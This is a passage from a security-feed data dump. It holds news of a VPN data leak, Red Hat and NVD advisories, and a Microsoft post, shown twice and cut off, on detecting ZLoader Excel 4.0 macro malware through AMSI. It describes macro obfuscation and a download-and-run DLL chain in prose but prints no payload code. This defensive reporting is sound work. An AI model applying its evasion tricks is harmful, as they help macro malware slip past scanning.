\u201cPremium\u201d status and the corresponding expiration date. Following the forum post, the tech outlet CyberNews also discovered that [the stolen data included](<https://cybernews.com/security/one-of-the-biggest-android-vpns-hacked-data-of-21-million-users-from-3-android-vpns-put-for-sale-online/>) device serial numbers, phone type and manufacturer information, device IDs, and device IMSI numbers.\n\nAccording to CyberNews, the data was taken from \u201cpublicly available databases that were left vulnerable by the VPN providers due to developers leaving default database credentials in use.\u201d\n\n### **Past VPN errors**\n\nThe unfortunate truth about the recent VPN app data leak is that this type of data mishap is nothing new.\n\nIn 2019, the popular VPN provider NordVPN [confirmed to TechCrunch that it suffered a breach the year before](<https://techcrunch.com/2019/10/21/nordvpn-confirms-it-was-hacked/>). According to TechCrunch:\n\n> \u201cNordVPN told TechCrunch that one of its data centers was accessed in March 2018. \u2018One of the data centers in Finland we are renting our servers from was accessed with no authorization,\u2019 said NordVPN spokesperson Laura Tyrell. \n \nThe attacker gained access to the server\u2014which had been active for about a month\u2014by exploiting an insecure remote management system left by the data center provider; NordVPN said it was unaware that such a system existed.\u201d\n\nSeparate from the NordVPN breach, last July, seven VPN providers were found to have left 1.2 terabytes of private user data exposed online, according to [a report published by the cybersecurity researchers at vpnMentor](<https://www.vpnmentor.com/blog/report-free-vpns-leak/#Timeline-of-Discovery-and-Owner-Reaction>). According to the report, the exposed data belonged to as many as 20 million users. The data included email addresses, clear text passwords, IP addresses, home addresses, phone models, device IDs, and Internet activity logs.\n\nThe seven VPN providers investigated by vpnMentor were:\n\n * UFO VPN\n * Fast VPN\n * Free VPN\n * Super VPN\n * Flash VPN\n * Secure VPN\n * Rabbit VPN\n\nThe researchers at vpnMentor also explained that there was good reason to believe that the seven apps were all made by the same developer. When analyzing the apps, vpnMentor discovered that all of them shared a common Elasticsearch server, were hosted on the same assets, shared the same, single payment recipient\u2014Dreamfii HK Limited\u2014and that at least three of the VPNs shared similar branding and layouts on their websites.\n\nFinally, the report also highlighted the fact that all seven of the apps claimed to keep \u201cno logs\u201d of user activity. Despite this, vpnMentor said that it \u201cfound multiple instances of internet activity logs on [the apps\u2019] shared server.\u201d\n\nThe report continued: \u201cWe viewed detailed activity logs from each VPN, exposing users\u2019 personal information and browsing activities while using the VPNs and unencrypted plain text passwords.\u201d\n\nSo, not only did these apps fail to live up to their own words, but they also collected extra user data that most users did not anticipate. After all, most consumers might rightfully assume that a promise to refrain from collecting _some_ potentially sensitive data would extend to a promise to refrain from collecting _other_ types of data.\n\nBut, according to vpnMentor, that wasn\u2019t the case, which is a clear breach of user trust.\n\nLet\u2019s put it another way:\n\nImagine choosing a video baby monitor that promised to never upload your audio recordings to the cloud, only to find that it wasn\u2019t just sending those recordings to an unsecured server, but it was also snapping photos of your baby and sending those pictures along, too. \n\n### **Which VPN to trust?**\n\nThe trust that you place into your VPN provider is paramount.\n\nRemember, [a VPN](<https://www.malwarebytes.com/what-is-vpn/>) can help protect your traffic from being viewed by your Internet Service Provider, which could be a major telecom company, or it could be a university or a school. A VPN can also help protect you from government requests for your data. For instance, if you\u2019re doing investigative work in another country with a far more restrictive government, a VPN could help obfuscate your Internet activity from that government, should it take interest in you.\n\nThe important thing to note here, though, is that a VPN is merely serving as a substitute for who sees your data. When you use a VPN, it isn\u2019t your ISP or a restrictive government viewing your activity\u2014it\u2019s the VPN itself.\n\nSo, how do you find a trustworthy VPN provider who is actually going to protect your online activity? Here are a few guidelines:\n\n * **Read trusted, third-party reviews**. Many of the issues in the above apps were spotted by good third-party reviewers. When picking a VPN provider, rely on the words of some trusted outlets, such as Tom\u2019s Guide, TechRadar, and CNET.\n * **Ensure that a VPN provider has a customer support contact**. Several of the VPN apps investigated by vpnMentor lacked any clear way to contact them. If you\u2019re using a product, you deserve reliable, easy-to-reach customer support.\n * **Check the VPN\u2019s privacy policy**. As we learned above, a privacy policy is not a guarantee for actual privacy protection, but a company\u2019s approach to a privacy policy can offer insight into the company\u2019s thinking, and how much it cares more about its promises. \n * **Be cautious of free VPNs**. [As we wrote about last week](<https://blog.malwarebytes.com/privacy-2/2021/02/to-pay-or-not-to-pay-that-is-the-vpn-question/>), free VPNs often come with significant trade-offs, including annoying ads and the surreptitious collection and sale of your data.\n * **Consider a VPN made by a company you already trust**. More online privacy and cybersecurity companies are offering VPN tools to supplement their current product suite. If you already trust any of those companies\u2014such as Mozilla, Ghostery, ProtonMail, or, yes, [Malwarebytes](<https://www.malwarebytes.com/vpn/>)\u2014then there&#x27;s good reason to trust their VPN products, too.\n\nIt\u2019s a complicated online world out there, but with the right information and the right, forward-looking research, you can stay safe.\n\nThe post [21 million free VPN users\u2019 data exposed](<https://blog.malwarebytes.com/cybercrime/privacy/2021/03/21-million-free-vpn-users-data-exposed/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "modified": "2021-03-03T18:39:16", "published": "2021-03-03T18:39:16", "id": "MALWAREBYTES:49A024FC01C47177C03CD739648D29D6", "href": "https://blog.malwarebytes.com/cybercrime/privacy/2021/03/21-million-free-vpn-users-data-exposed/", "type": "malwarebytes", "title": "21 million free VPN users\u2019 data exposed", "cvss": {"score": 0.0, "vector": "NONE"}}], "redhat": [{"lastseen": "2021-03-03T14:30:22", "bulletinFamily": "unix", "cvelist": ["CVE-2020-35517"], "description": "Kernel-based Virtual Machine (KVM) offers a full virtualization solution for Linux on numerous hardware platforms. The virt:rhel module contains packages which provide user-space components used to run virtual machines using KVM. The packages also provide APIs for managing and interacting with the virtualized systems.\n\nSecurity Fix(es):\n\n* QEMU: virtiofsd: potential privileged host device access from guest (CVE-2020-35517)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2021-03-03T17:50:38", "published": "2021-03-03T17:22:25", "id": "RHSA-2021:0711", "href": "https://access.redhat.com/errata/RHSA-2021:0711", "type": "redhat", "title": "(RHSA-2021:0711) Important: virt:rhel and virt-devel:rhel security update", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-03T12:34:27", "bulletinFamily": "unix", "cvelist": ["CVE-2020-11979", "CVE-2020-1945", "CVE-2020-2304", "CVE-2020-2305", "CVE-2020-2306", "CVE-2020-2307", "CVE-2020-2308", "CVE-2020-2309", "CVE-2020-25658"], "description": "Red Hat OpenShift Container Platform is Red Hat's cloud computing\nKubernetes application platform solution designed for on-premise or private\ncloud deployments.\n\nSecurity Fix(es):\n\n* jenkins-2-plugins/subversion: XML parser is not preventing XML external entity (XXE) attacks (CVE-2020-2304)\n\n* jenkins-2-plugins/mercurial: XML parser is not preventing XML external entity (XXE) attacks (CVE-2020-2305)\n\n* ant: Insecure temporary file vulnerability (CVE-2020-1945)\n\n* jenkins-2-plugins/mercurial: Missing permission check in an HTTP endpoint could result in information disclosure (CVE-2020-2306)\n\n* jenkins-2-plugins/kubernetes: Jenkins controller environment variables are accessible in Kubernetes plug-in (CVE-2020-2307)\n\n* jenkins-2-plugins/kubernetes: Missing permission check in Kubernetes Plugin allows listing pod templates (CVE-2020-2308)\n\n* jenkins-2-plugins/kubernetes: Missing permission check in Kubernetes plug-in allows enumerating credentials IDs (CVE-2020-2309)\n\n* ant: Insecure temporary file (CVE-2020-11979)\n\n* python-rsa: Bleichenbacher timing oracle attack against RSA decryption (CVE-2020-25658)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section.\n\nThis advisory contains the RPM packages for Red Hat OpenShift Container\nPlatform 3.11.394. See the following advisory for the container images for this release:\n\nhttps://access.redhat.com/errata/RHBA-2021:0638\n\nSpace precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:\n\nhttps://docs.openshift.com/container-platform/3.11/release_notes/ocp_3_11_release_notes.html\n\nThis update fixes the following bugs among others:\n\n* Previously, the restart-cluster playbook did not evaluate the defined cluster size for ops clusters. This was causing come clusters to never complete their restart. This bug fix passes the logging ops cluster size, allowing restarts of ops clusters to complete successfully. (BZ#1879407)\n\n* Previously, the `openshift_named_certificates` role checked the contents of the `ca-bundle.crt` file during cluster installation. This caused the check to fail during initial installation because the `ca-bundle.crt` file is not yet created in that scenario. This bug fix allows the cluster to skip checking the `ca-bundle.crt` file if it does not exist, resulting in initial installations succeeding. (BZ#1920567)\n\n* Previously, if the `openshift_release` attribute was not set in the Ansible inventory file, the nodes of the cluster would fail during an upgrade. This was caused by the `cluster_facts.yml` file being gathered before the `openshift_release` attribute was defined by the upgrade playbook. Now the `cluster_facts.yml` file is gathered after the `openshift_version` role runs and the `openshift_release` attribute is set, allowing for successful node upgrades. (BZ#1921353)\n\nAll OpenShift Container Platform 3.11 users are advised to upgrade to these updated packages and images.", "modified": "2021-03-03T17:17:55", "published": "2021-03-03T17:05:11", "id": "RHSA-2021:0637", "href": "https://access.redhat.com/errata/RHSA-2021:0637", "type": "redhat", "title": "(RHSA-2021:0637) Important: OpenShift Container Platform 3.11.394 bug fix and security update", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-03-03T10:42:54", "bulletinFamily": "unix", "cvelist": ["CVE-2021-20188"], "description": "The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc.\n\nSecurity Fix(es):\n\n* podman: container users permissions are not respected in privileged containers (CVE-2021-20188)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2021-03-03T15:20:30", "published": "2021-03-03T15:10:22", "id": "RHSA-2021:0710", "href": "https://access.redhat.com/errata/RHSA-2021:0710", "type": "redhat", "title": "(RHSA-2021:0710) Important: container-tools:2.0 security update", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2021-03-04T16:37:10", "description": "A flaw was found in grub2 in versions prior to 2.06. Setparam_prefix() in the menu rendering code performs a length calculation on the assumption that expressing a quoted single quote will require 3 characters, while it actually requires 4 characters which allows an attacker to corrupt memory by one byte for each quote in the input. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "edition": 1, "cvss3": {}, "published": "2021-03-03T17:15:00", "title": "CVE-2021-20233", "type": "cve", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {}, "cvelist": ["CVE-2021-20233"], "modified": "2021-03-03T17:38:00", "cpe": [], "id": "CVE-2021-20233", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-20233", "cvss": {"score": 0.0, "vector": "NONE"}, "cpe23": []}], "mssecure": [{"lastseen": "2021-03-03T18:08:54", "bulletinFamily": "blog", "cvelist": [], "description": "We have recently expanded the integration of Antimalware Scan Interface ([AMSI](<https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal>)) with Office 365 to include the runtime scanning of Excel 4.0 ([XLM](<https://support.microsoft.com/en-us/office/working-with-excel-4-0-macros-ba8924d4-e157-4bb2-8d76-2c07ff02e0b8>)) macros, to help antivirus solutions tackle the increase in attacks that use malicious XLM macros. This integration, an example of the many security features released for Microsoft 365 Apps on a regular basis, reflects our commitment to continuously increase protection for Microsoft 365 customers against the latest threats.\n\nMicrosoft Defender Antivirus is using this integration to detect and block XLM-based malware, and we encourage other [antivirus products to use this open interface](<https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal>) to gain better visibility and improve protections against these threats.\n\nXLM macros is a legacy macro language that was made available to Microsoft Excel in 1992, prior to the introduction of Visual Basic for Applications ([VBA](<https://docs.microsoft.com/en-us/office/vba/api/overview/>)) in 1993. While more rudimentary than VBA, XLM is powerful enough to provide interoperability with the operating system, and many organizations and users continue to use its functionality for legitimate purposes. Cybercriminals know this, and they have been abusing XLM macros, increasingly more frequently, to call Win32 APIs and run shell commands.\n\nThe [AMSI instrumentation for VBA](<https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/>) has been providing deep visibility into the runtime behavior of VBA macros. Its release in 2018 effectively removed the armor that macro-obfuscation equipped malware with, exposing malicious code to improved levels of scrutiny. Naturally, threat actors like those behind Trickbot, Zloader, and Ursnif have looked elsewhere for features to abuse and operate under the radar of security solutions, and they found a suitable alternative in XLM.\n\nLike VBA and many other scripting languages abused by malware, XLM code can be obfuscated relatively easily to conceal the real intent of the macro. For example, attackers can hide URLs or file names of executable files from static inspection through simple strings manipulations. Attackers also take advantage of the way macro code persists within the Excel document\u2014while VBA macros are stored in a dedicated OLE stream (and hence can be easily located and extracted), XLM macros do not exist as a separate, well-defined entity. Rather, each XLM macro statement is a formula within a cell. Extracting a whole XLM macro can become a cumbersome task, requiring a cell-by-cell inspection of the whole document.\n\n\n\n_Figure 1. Sample malicious XLM macro_\n\nIn addition, while formulas are typically executed downwards starting from the top, with XLM the macro content can be quite spread out, thanks to control flow statements like _RUN_, _CALL_, or _GOTO_, which allow the switching of execution flow from one column to another. This feature, together with obfuscation, has been abused by attackers to craft documents that could evade static analysis.\n\n## AMSI instrumentation for Excel 4.0 (XLM) macros\n\nAMSI is an open interface that allows any application to request the scanning of any data at any time. In a nutshell, this technology provides applications the capability to interface with the installed antivirus solution in order to inspect and scan potentially dangerous data (e.g., a file downloaded from a remote location, or data generated dynamically by an application). Microsoft already utilizes this technology in various applications to detect malicious macros, script-based malware, and other threats:\n\n * Office VBA macros\n * JScript\n * VBScript\n * PowerShell\n * WMI\n * Dynamically loaded .NET assemblies\n * MSHTA/Jscript9\n\nThe data provided by AMSI is leveraged extensively by [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>). It provides important data for [machine learning models](<https://www.microsoft.com/security/blog/2020/08/27/stopping-active-directory-attacks-and-other-post-exploitation-behavior-with-amsi-and-machine-learning/>) that process billions of signals every day to identify and block malicious behaviors. The XLM instrumentation is similar to the implementation in VBA and other scripting engines that integrate with AMSI:\n\n\n\n_Figure 2. AMSI instrumentation for XLM_\n\nThe XLM language allows a user to write programs that call native runtime functions, as well as external Win32 APIs. In both cases, the interfaces that dispatch the calls to these functions are intercepted and directed to an internal logger. The logger component stores the intercepted functions in text format within a circular buffer. When certain dangerous functions are called, for example the runtime function _EXEC_ or the Win32 API _ShellExecute_, XLM halts the macro execution and invokes AMSI to request a synchronous scan of the circular buffer containing the functions logged up to that point. Such dangerous functions are called \u201ctrigger functions\u201d. If the antivirus identifies the macro as malware, the execution of the macro is aborted and Excel is safely terminated, blocking the attack and preventing the malicious macro from doing any damage. Otherwise, the user experience continues seamlessly.\n\nIt\u2019s important to observe that the interception of XLM function calls happens at runtime. This means that the logger component always registers the true behavior of all functions and associated parameters, which may contain URLs, file names, and other important IOCs, regardless of the obfuscation used by the malware.\n\nThe following is an example of an XLM macro found in a malicious document:\n\n\n\n_Figure 3. Sample XLM macro _\n\nThis malicious macro consists of a series of commands (e.g., _RUN_, _REGISTER_, _IF_, etc.) with related parameters specified by references to other cells. For example, the token _$CA$1889_ passed to the first function _RUN_ indicates that the string provided as parameter for this function is in the cell at column CA and row 1889.\n\nThis is only one of the many ways that XLM-based malware can obfuscate code. Detecting this macro is challenging because it doesn\u2019t expose any suspicious strings or behavior. This is where the power of AMSI comes into play: the instrumentation allows XLM to inspect functions when they are invoked, so that all their parameters have already been de-obfuscated. As a result, the above macro produces a log that looks like the following:\n\n\n\n_Figure 4. Sample log_\n\nThe XLM engine determines that the dangerous function _ShellExecuteA_ is being invoked, and subsequently places the macro execution on hold and passes the macro behavioral log to AMSI for scanning. The antivirus now has visibility into a behavioral log that completely exposes all of the data including, API names, URLs, and file names. The log makes it easy to conclude that this macro is trying to download and execute a DLL payload via the tool _Rundll32_.\n\n## Case study: ZLoader campaign\n\nZLoader is a malware family that has been actively perpetrating financial theft for several years. Like many of its peers, ZLoader operates via aggressive campaigns that rely on social engineering and the abuse of Office documents spread via email.\n\nWe have been monitoring the activity of this threat and observed that in the last year the attackers shifted to XLM as their infection vector of choice. The Excel documents have a typical lure message to trick the user into clicking \u201cEnable Content\u201d to allow the macro code to run.\n\n\n\n_Figure 5. Malicious Excel file used in Zloader campaign_\n\nA closer look at the document reveals an Excel sheet with an obscure-looking name. That sheet embeds XLM macro formulas, which are stored several rows down to make the sheet look empty. Furthermore, the macro formulas are spread out and obfuscated, hindering static analysis and raising more challenges for identifying intent.\n\n\n\n_Figure 6. Malicious XLM macro used in ZLoader campaign_\n\nExecuting and debugging the macro with Excel is not very straightforward either. The macro has long loops that are used to decode and run further obfuscated macro formulas, and the Excel\u2019s debugger doesn\u2019t have the ability to control the execution in a granular way in order to skip loops and break on specific formulas.\n\nHowever, when this macro runs with the AMSI instrumentation enabled, it produces up to three different logs that are passed to AMSI. The first two look like the following:\n\n\n\n_Figure 7. Log produced when ZLoader\u2019s XLM macro is run_\n\nThe image only shows the final part of the log where the interesting activity shows up. We can see that the macro is issuing a new _EXEC_ statement to run a .vbs file via _explorer.exe_. This _EXEC_ statement causes the execution of the VBScript named _EW2H.vbs_, which has been decoded and saved to disk by the macro prior to the _EXEC_ line. The VBScript then tries to download and run a binary payload. The macro attempts to do this twice, hence this log (with minor variations) is passed to AMSI twice.\n\nIf the above steps fail, the macro resorts to downloading the payload directly, producing the following log for AMSI:\n\n\n\n_Figure 8. Log produced when ZLoader\u2019s XLM macro is run_\n\nThe macro defines two URLs, then downloads their content with the API _URLDownloadToFileA_, and finally invokes the API _ShellExecuteA_ to launch the downloaded payload (the file _jxi09.txt_) via _rundll32.exe_. We can infer from this line that the payload is a DLL.\n\nAll three logs offer plenty of opportunities to detect malicious behavior and also allow the easy extraction of relevant IOCs like URLs, file names, etc. The initial XLM code in the Excel document is completely obfuscated and contains no usable information, making it tricky to issue static detections that are both effective and durable. With the dynamic nature of AMSI, the runtime behavior can be observed in cleartext, even with obfuscation. Detections based on the logs passed to AMSI also have the advantage of being more robust and generic in nature.\n\n## Availability\n\nRuntime inspection of XLM macros is now available in Microsoft Excel and can be used by antivirus solutions like Microsoft Defender Antivirus that are registered as an AMSI provider on the device. This feature is included as an addition to the existing AMSI integration with Office. It\u2019s enabled by default on the February Current Channel and Monthly Enterprise Channel for Microsoft 365 subscription users.\n\nIn its default configuration, XLM macros are scanned at runtime via AMSI, except in the following scenarios:\n\n * Files opened while macro security settings are set to \u201cEnable all macros\u201d\n * Files opened from a [trusted location](<https://docs.microsoft.com/en-us/deployoffice/security/designate-trusted-locations-for-files-in-office>)\n * Files that are [trusted documents](<https://docs.microsoft.com/en-us/deployoffice/security/set-up-a-safe-environment-to-open-files-by-using-protected-view-in-office>)\n\nAdministrators can now use the existing Microsoft 365 applications policy control to configure when both XLM and VBA macros are scanned at runtime via AMSI. Get the [latest group policy template files](<https://www.microsoft.com/en-us/download/details.aspx?id=49030>).\n\n \n\n**Group Policy setting name** | Macro Runtime Scan Scope \n---|--- \n**Path** | User Configuration &gt; Administrative templates &gt; Microsoft Office 2016 &gt; Security Settings \n| This policy setting specifies the behavior for both the VBA and Excel 4.0 (XLM) runtime scan features. Multiple Office apps support VBA macros, but XLM macros are only supported by Excel. Macros can only be scanned if the antivirus software registers as an Antimalware Scan Interface (AMSI) provider on the device.\n\nIf you enable this policy setting, you can choose from the following options to determine the macro runtime scanning behavior:\n\n**Disable for all files (not recommended):** If you choose this option, no runtime scanning of enabled macros will be performed.\n\n**Enable for low trust files:** If you choose this option, runtime scanning will be enabled for all files for which macros are enabled, except for the following files:\n\n * Files opened while macro security settings are set to \u201cEnable all macros\u201d\n * Files opened from a trusted location\n * Files that are Trusted Documents\n * Files that contain VBA that is digitally signed by a trusted publisher\n\n**Enable for all files:** If you choose this option, then low trust files are not excluded from runtime scanning. The VBA and XLM runtimes report to an antivirus system certain high-risk code behaviors the macro is about to execute. This allows the antivirus system to indicate whether or not the macro behavior is malicious. If the behavior is determined to be malicious, the Office application closes the session and the antivirus system can quarantine the file. If the behavior is non-malicious, the macro execution proceeds.\n\nNote: When macro runtime scanning is enabled, the runtime performance of affected VBA projects and XLM sheets may be reduced.\n\nIf you disable this policy setting, no runtime scanning of enabled macros will be performed.\n\nIf you don\u2019t configure this policy setting, \u201cEnable for low trust files\u201d will be the default setting.\n\nNote: This policy setting only applies to subscription versions of Office, such as Microsoft 365 Apps for enterprise. \n \n## AMSI improves security for all\n\nAMSI provides deep and dynamic visibility into the runtime behaviors of macros and other scripts to expose threats that hide malicious intent behind obfuscation, junk control flow statements, and many other tricks. Microsoft Defender Antivirus, the built-in antivirus solution on Windows 10, has been leveraging AMSI to uncover a wide range of threats, from common malware to sophisticated attacks. The recent AMSI instrumentation in XLM directly tackles the rise of malware campaigns that abuse this feature. Because AMSI is an open interface, other antivirus solutions can leverage the same visibility to improve protections against threats. Security vendors can learn how to leverage AMSI in their antivirus products [here](<https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider>).\n\nAt Microsoft, we take full advantage of signals from AMSI. The data generated by AMSI is not only useful for immediate client antimalware detections, but also provides rich signals for Microsoft Defender for Endpoint. In our blog post about [AMSI for VBA](<https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/>), we described how these signals are ingested by multiple layers of cloud-based machine learning classifiers and are combined with all other signals. The result is an enhanced protection layer that learns to recognize and block new and unknown threats in real-time.\n\n\n\n_Figure 9. Example of detection from Microsoft Defender Antivirus based on data inspected by AMSI_\n\n\n\n_Figure 10: Notification from Microsoft Excel after AMSI reported malware detection_\n\n\n\n_Figure 11: Example of Microsoft Defender for Endpoint alert for detection of XLM malware _\n\nThe visibility provided by AMSI leads to significant improvements in generic and resilient signatures that can stop waves of obfuscated and mutated variants of threats. AMSI-driven protection adds to an extensive multi-layer protection stack in [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>), which also includes attack surface reduction, [network protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/enable-network-protection>), behavior monitoring and other technologies that protect against macro malware and other similar script-based threats.\n\nThe AMSI-enriched visibility provided by Microsoft Defender for Endpoint is further amplified across [Microsoft 365 Defender](<https://aka.ms/m365d>), such that XLM macro threats are detected and blocked on various entry vectors. The orchestration of signal-sharing and coordinated defense in Microsoft 365 ensures that, for example, [Microsoft Defender for Office 365](<https://www.microsoft.com/en-us/microsoft-365/security/office-365-defender>) blocks macro malware distributed via email, which is the most common delivery methods for these threats.\n\n[Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>).\n\n \n\n**_Giulia Biagini_**_, Office 365 Threat Research Team_\n\n**_Auston Wallace_**_, Microsoft 365 Security Team_\n\n**_Andrea Lelli_**_, Microsoft 365 Defender Research Team _\n\nThe post [XLM + AMSI: New runtime defense against Excel 4.0 macro malware](<https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/>) appeared first on [Microsoft Security.", "modified": "2021-03-03T17:00:54", "published": "2021-03-03T17:00:54", "id": "MSSECURE:ABEDEDA2ACF09B4DFBA6CF8F97BA9F74", "href": "https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/", "type": "mssecure", "title": "XLM + AMSI: New runtime defense against Excel 4.0 macro malware", "cvss": {"score": 0.0, "vector": "NONE"}}], "mmpc": [{"lastseen": "2021-03-03T18:28:20", "bulletinFamily": "blog", "cvelist": [], "description": "We have recently expanded the integration of Antimalware Scan Interface ([AMSI](<https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal>)) with Office 365 to include the runtime scanning of Excel 4.0 ([XLM](<https://support.microsoft.com/en-us/office/working-with-excel-4-0-macros-ba8924d4-e157-4bb2-8d76-2c07ff02e0b8>)) macros, to help antivirus solutions tackle the increase in attacks that use malicious XLM macros. This integration, an example of the many security features released for Microsoft 365 Apps on a regular basis, reflects our commitment to continuously increase protection for Microsoft 365 customers against the latest threats.\n\nMicrosoft Defender Antivirus is using this integration to detect and block XLM-based malware, and we encourage other [antivirus products to use this open interface](<https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal>) to gain better visibility and improve protections against these threats.\n\nXLM macros is a legacy macro language that was made available to Microsoft Excel in 1992, prior to the introduction of Visual Basic for Applications ([VBA](<https://docs.microsoft.com/en-us/office/vba/api/overview/>)) in 1993. While more rudimentary than VBA, XLM is powerful enough to provide interoperability with the operating system, and many organizations and users continue to use its functionality for legitimate purposes. Cybercriminals know this, and they have been abusing XLM macros, increasingly more frequently, to call Win32 APIs and run shell commands.\n\nThe [AMSI instrumentation for VBA](<https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/>) has been providing deep visibility into the runtime behavior of VBA macros. Its release in 2018 effectively removed the armor that macro-obfuscation equipped malware with, exposing malicious code to improved levels of scrutiny. Naturally, threat actors like those behind Trickbot, Zloader, and Ursnif have looked elsewhere for features to abuse and operate under the radar of security solutions, and they found a suitable alternative in XLM.\n\nLike VBA and many other scripting languages abused by malware, XLM code can be obfuscated relatively easily to conceal the real intent of the macro. For example, attackers can hide URLs or file names of executable files from static inspection through simple strings manipulations. Attackers also take advantage of the way macro code persists within the Excel document\u2014while VBA macros are stored in a dedicated OLE stream (and hence can be easily located and extracted), XLM macros do not exist as a separate, well-defined entity. Rather, each XLM macro statement is a formula within a cell. Extracting a whole XLM macro can become a cumbersome task, requiring a cell-by-cell inspection of the whole document.\n\n\n\n_Figure 1. Sample malicious XLM macro_\n\nIn addition, while formulas are typically executed downwards starting from the top, with XLM the macro content can be quite spread out, thanks to control flow statements like _RUN_, _CALL_, or _GOTO_, which allow the switching of execution flow from one column to another. This feature, together with obfuscation, has been abused by attackers to craft documents that could evade static analysis.\n\n## AMSI instrumentation for Excel 4.0 (XLM) macros\n\nAMSI is an open interface that allows any application to request the scanning of any data at any time. In a nutshell, this technology provides applications the capability to interface with the installed antivirus solution in order to inspect and scan potentially dangerous data (e.g., a file downloaded from a remote location, or data generated dynamically by an application). Microsoft already utilizes this technology in various applications to detect malicious macros, script-based malware, and other threats:\n\n * Office VBA macros\n * JScript\n * VBScript\n * PowerShell\n * WMI\n * Dynamically loaded .NET assemblies\n * MSHTA/Jscript9\n\nThe data provided by AMSI is leveraged extensively by [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>). It provides important data for [machine learning models](<https://www.microsoft.com/security/blog/2020/08/27/stopping-active-directory-attacks-and-other-post-exploitation-behavior-with-amsi-and-machine-learning/>) that process billions of signals every day to identify and block malicious behaviors. The XLM instrumentation is similar to the implementation in VBA and other scripting engines that integrate with AMSI:\n\n\n\n_Figure 2. AMSI instrumentation for XLM_\n\nThe XLM language allows a user to write programs that call native runtime functions, as well as external Win32 APIs. In both cases, the interfaces that dispatch the calls to these functions are intercepted and directed to an internal logger. The logger component stores the intercepted functions in text format within a circular buffer. When certain dangerous functions are called, for example the runtime function _EXEC_ or the Win32 API _ShellExecute_, XLM halts the macro execution and invokes AMSI to request a synchronous scan of the circular buffer containing the functions logged up to that point. Such dangerous functions are called \u201ctrigger functions\u201d. If the antivirus identifies the macro as malware, the execution of the macro is aborted and Excel is safely terminated, blocking the attack and preventing the malicious macro from doing any damage. Otherwise, the user experience continues seamlessly.\n\nIt\u2019s important to observe that the interception of XLM function calls happens at runtime. This means that the logger component always registers the true behavior of all functions and associated parameters, which may contain URLs, file names, and other important IOCs, regardless of the obfuscation used by the malware.\n\nThe following is an example of an XLM macro found in a malicious document:\n\n\n\n_Figure 3. Sample XLM macro _\n\nThis malicious macro consists of a series of commands (e.g., _RUN_, _REGISTER_, _IF_, etc.) with related parameters specified by references to other cells. For example, the token _$CA$1889_ passed to the first function _RUN_ indicates that the string provided as parameter for this function is in the cell at column CA and row 1889.\n\nThis is only one of the many ways that XLM-based malware can obfuscate code. Detecting this macro is challenging because it doesn\u2019t expose any suspicious strings or behavior. This is where the power of AMSI comes into play: the instrumentation allows XLM to inspect functions when they are invoked, so that all their parameters have already been de-obfuscated. As a result, the above macro produces a log that looks like the following:\n\n\n\n_Figure 4. Sample log_\n\nThe XLM engine determines that the dangerous function _ShellExecuteA_ is being invoked, and subsequently places the macro execution on hold and passes the macro behavioral log to AMSI for scanning. The antivirus now has visibility into a behavioral log that completely exposes all of the data including, API names, URLs, and file names. The log makes it easy to conclude that this macro is trying to download and execute a DLL payload via the tool _Rundll32_.\n\n## Case study: ZLoader campaign\n\nZLoader is a malware family that has been actively perpetrating financial theft for several years. Like many of its peers, ZLoader operates via aggressive campaigns that rely on social engineering and the abuse of Office documents spread via email.\n\nWe have been monitoring the activity of this threat and observed that in the last year the attackers shifted to XLM as their infection vector of choice. The Excel documents have a typical lure message to trick the user into clicking \u201cEnable Content\u201d to allow the macro code to run.\n\n\n\n_Figure 5. Malicious Excel file used in Zloader campaign_\n\nA closer look at the document reveals an Excel sheet with an obscure-looking name. That sheet embeds XLM macro formulas, which are stored several rows down to make the sheet look empty. Furthermore, the macro formulas are spread out and obfuscated, hindering static analysis and raising more challenges for identifying intent.\n\n\n\n_Figure 6. Malicious XLM macro used in ZLoader campaign_\n\nExecuting and debugging the macro with Excel is not very straightforward either. The macro has long loops that are used to decode and run further obfuscated macro formulas, and the Excel\u2019s debugger doesn\u2019t have the ability to control the execution in a granular way in order to skip loops and break on specific formulas.\n\nHowever, when this macro runs with the AMSI instrumentation enabled, it produces up to three different logs that are passed to AMSI. The first two look like the following:\n\n\n\n_Figure 7. Log produced when ZLoader\u2019s XLM macro is run_\n\nThe image only shows the final part of the log where the interesting activity shows up. We 